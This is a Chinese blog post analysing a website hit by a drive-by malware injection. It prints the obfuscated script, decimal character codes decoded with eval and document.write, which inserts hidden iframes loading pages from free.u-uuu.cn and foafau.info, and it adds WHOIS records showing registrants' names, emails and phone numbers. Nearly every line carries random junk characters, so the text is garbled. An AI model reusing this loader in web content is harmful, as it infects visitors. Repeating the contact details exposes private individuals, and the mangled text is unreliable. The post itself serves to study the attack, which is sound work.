首发在我的博客里面，
t=:5?}J.Q$ &,Rye Q http://www.areway.cn/?p=175 7?_g m>]a k&K'FaM! {<Y!'WL{ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
r4 5}o !p36OEx <script>t=’60,105,102,114,97,109,101,
X H!n{Of 32,115,114,99,61,104,116,116,112,58,47,47,
lt5Knz2G,Z 102,114,101,101,46,117,45,117,117,117,46,99,
$mq+/|bn 110,47,101,114,114,111,114,46,104,116,109,
3-;<G 32,119,105,100,116,104,61,49,48,48,32,104,
SFP?ND+7 101,105,103,104,116,61,48,62,60,47,105,102,
*fy aAv 114,97,109,101,62′;
$i3`cX)g t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
bFA
lC y~t
e!C <script>t=’60,105,102,114,97,109,101,32,115,
"f3mi[ 114,99,61,104,116,116,112,58,47,47,102,114,
(yT&&_zY4 101,101,46,117,45,117,117,117,46,99,110,47,
h{~GzrL* 101,114,114,111,114,46,104,116,109,32,119,
N N:zQ_RT 105,100,116,104,61,49,48,48,32,104,101,105,
2=7[r-*E 103,104,116,61,48,62,60,47,105,102,114,97,
ei]Q<vT6 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
VJr ~h
"[ document.write(t);</script>
wB[
JFy"E mH<|.7~0 <html xmlns=”
Yu[MNX ;G http://www.w3.org/1999/xhtml * ZRk) “>
K`|V1L.m <head>
\\oa[nvL~ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
_S &6XNV <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
7<8'7<X <title>首页 - 爱生活家庭网
^MhMYA n0':6*oGW 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Gh3f^PWnc 转换字符串后的大概内容是（谁点击后果自付）：
$ b_~ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
CRzLyiRvU& "6%q i qt 查询玉米u-uuu.cn的详细信息：
=zp{ ^mC Domain Name: u-uuu.cn
`J{{E,y
@ ROID: 20070901s10001s64972306-cn
h,fahbH - Domain Status: ok
:Xx7':5 Registrant Organization: 王雷
`B 3YP1 Registrant Name: 王雷
o/RGz PR Administrative Email:
czlovexs@126.com ^#w9!I{4. Sponsoring Registrar: 北京万网志成科技有限公司
S!R (ae^} Name Server:ns.yovole.com
`X =[ m> Name Server:ns1.yovole.com
+).=}.k Registration Date: 2007-09-01 17:54
>k}Kf1I Expiration Date: 2008-09-01 17:54
}g 2l
ni 最后PING了一下地址 都没有什么….
tM:$H6m/( S =sL: FC 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
ZM =eiJZ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
hJ8B&u( <script language=”javascript” src=”
oO;< $wx2t http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script p Bu }c< >
~dsx| G?p 这个玉米应该有可能是木马作者的：
[H`5mY @ foafau.info的详细信息：
-HFyNk]> Access to INFO WHOIS information is provided to assist persons in
Us>n`Lj@ determining the contents of a domain name registration record in the
]h= y Afilias registry database. The data in this record is provided by
5RSP.Vyx{ Afilias Limited for informational purposes only, and Afilias does not
`;Fs guarantee its accuracy. This service is intended only for query-based
ufA0H
J)Yg access. You agree that you will use this data only for lawful purposes
7Z81+I|&8 and that, under no circumstances will you use this data to: (a) allow,
G1,u{d-_ enable, or otherwise support the transmission by e-mail, telephone, or
J,`I>^G facsimile of mass unsolicited, commercial advertising or solicitations
4J[csU to entities other than the data recipient’s own existing customers; or
M?ElD1#Z (b) enable high volume, automated, electronic processes that send
xaIe7.Z"xo queries or data to the systems of Registry Operator, a Registrar, or
ciPq @kMV Afilias except as reasonably necessary to register domain names or
Ao9|t;i modify existing registrations. All rights reserved. Afilias reserves
.MxMBrM the right to modify these terms at any time. By submitting this query,
/w*HxtwFmD you agree to abide by this policy.
eX^ F^( Domain ID:D22418703-LRMS
p,)pz_M Domain Name:FOAFAU.INFO
t |:XSJ9 Created On:20-Nov-2007 16:05:42 UTC
Fow{-cs_p Last Updated On:20-Nov-2007 16:05:44 UTC
ef:Zi_o Expiration Date:20-Nov-2008 16:05:42 UTC
!-B|x0fs Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
3-![% u Status:CLIENT DELETE PROHIBITED
*+ O Status:CLIENT RENEW PROHIBITED
QP6a,^]; Status:CLIENT TRANSFER PROHIBITED
#t ">tL Status:CLIENT UPDATE PROHIBITED
)Z`OkkabnD Status:TRANSFER PROHIBITED
Aacj? Registrant ID:GODA-040110615
lI[O!Vu Kc Registrant Name:liu hong
vrsOA@ee3H Registrant Organization:
pD6a+B\;k Registrant Street1:beijing
KZ/2W9r_, Registrant Street2:
Y;sN UX Registrant Street3:
':T"nORC Registrant City:beijing
?=M g "QU Registrant State/Province:
s:sk`~2<gd Registrant Postal Code:100000
).r04)/ Registrant Country:CN
g$Ns u:L Registrant Phone:+86.860108888777
myZ8LQ& Registrant Phone Ext.:
z- kB! ~r Registrant FAX:
Yt T:\#D Registrant FAX Ext.:
rf2-owWN Registrant Email:bbbshiji@163.com
`?(9Bl Admin ID:GODA-240110615
$0;D k, Admin Name:liu hong
1FRpcE Admin Organization:
e]l.m!, r Admin Street1:beijing
{y>Kcfc/?E Admin Street2:
Biy$p6 Admin Street3:
`lE8dwL Admin City:beijing
1uc;:N G= Admin State/Province:
@ |7e ~U Admin Postal Code:100000
u|&a!tOf2 Admin Country:CN
!2=eau^p Admin Phone:+86.860108888777
#tt*yOmiH Admin Phone Ext.:
|w`Q$ c Admin FAX:
mk? F+gh Admin FAX Ext.:
E njSio0 Admin Email:bbbshiji@163.com
gG46hO-M%x Billing ID:GODA-340110615
y/Q,[Uzk\ Billing Name:liu hong
|uln<nM9 Billing Organization:
izP>w*/nO Billing Street1:beijing
qH*Fv:qnM Billing Street2:
KrD?Z2x Billing Street3:
(wEaw|Z x Billing City:beijing
G~\=:d=^,` Billing State/Province:
PPj0LFA Billing Postal Code:100000
f.u+({"ql Billing Country:CN
\&X*-T[]j Billing Phone:+86.860108888777
> z69r0)> Billing Phone Ext.:
cpBTi Billing FAX:
O8w|!$Q. Billing FAX Ext.:
Z|$OPML X Billing Email:bbbshiji@163.com
}JBLzk5| Tech ID:GODA-140110615
{o.i\"x; Tech Name:liu hong
^ y &sKO Tech Organization:
1bJrEXHXy Tech Street1:beijing
| D,->k Tech Street2:
i}e OWi Tech Street3:
1 mz72K Tech City:beijing
By}>h6`[ Tech State/Province:
2z0 27P-Q Tech Postal Code:100000
x ]jJ Tech Country:CN
X/`M'8v.% Tech Phone:+86.860108888777
*`wgqin Tech Phone Ext.:
A;C)#Q/ Tech FAX:
G8!* &vR/ Tech FAX Ext.:
7
a_99? J Tech Email:bbbshiji@163.com
\TXCq@ Name Server:NS27.DOMAINCONTROL.COM
%u02KmV. Name Server:NS28.DOMAINCONTROL.COM
5Qgh \ 4 Name Server:
~i/K7 qZ Name Server:
.Zv uhOn^ Name Server:
Q96^rjY Name Server:
qEV>$>} Name Server:
VTvNn Name Server:
G^/8lIj Name Server:
Mi&jl_& Name Server:
TbA=bkj[4 Name Server:
&>%9JXU Name Server:
R3%&\<a)9 Name Server:
_V-pr#lP1 DS1_hbk 接着下载每个文件里面的代码：
nf9NJ_8}4H 一步一步看..
16R0#Q/{+* 
V'&`JZK6 
ww$Ec 
ua>Y I 
_G=k^f_ 
H^C$2 f 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
